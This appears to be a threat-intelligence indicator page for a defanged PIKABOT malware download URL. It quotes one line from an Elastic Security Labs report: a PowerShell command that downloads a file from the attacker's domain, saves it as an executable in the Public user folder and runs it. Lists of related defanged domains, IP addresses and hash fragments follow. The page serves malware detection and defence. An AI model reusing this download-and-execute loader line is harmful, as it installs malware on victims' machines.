hxxps://gloverstech[.]com/tJWz9/0.2343379541861872.datURL
Reported by 1 independent source · first reported by Elastic Security Labs · last reported
Last reported 2 years ago
What the reports say
1 report, newest first · the exact sentence from each-
PIKABOT, I choose you!“obj['Run']("powershell Invoke-WebRequest hxxps://gloverstech[.]com/tJWz9/0.2343379541861872.dat -OutFile %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe; saps %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe")”
Indicators reported together
named in the same reports- hxxps://gloverstech[.]com/tJWz9/in 1 report
- gloverstech[.]comin 1 report
- hxxps://158.220.80[.]167:2967/api/admin.teams.settings.setIconin 1 report
- 158.220.80[.]167in 1 report
- 2f66fb872c9699e0…4dd273a5a88bin 1 report
- ca5fb5814ec62c8f…d67cf1f4b79din 1 report
- 139.84.237[.]229in 1 report
- 85.239.243[.]155in 1 report
- 104.129.55[.]104in 1 report
- 37.60.242[.]85in 1 report
- 95.179.191[.]137in 1 report
- 65.20.66[.]218in 1 report
- 158.220.80[.]157in 1 report
- 104.129.55[.]103in 1 report
- entrevientos.com[.]arin 1 report
Copy these 15 indicators · defanged
Thanks — we review every report.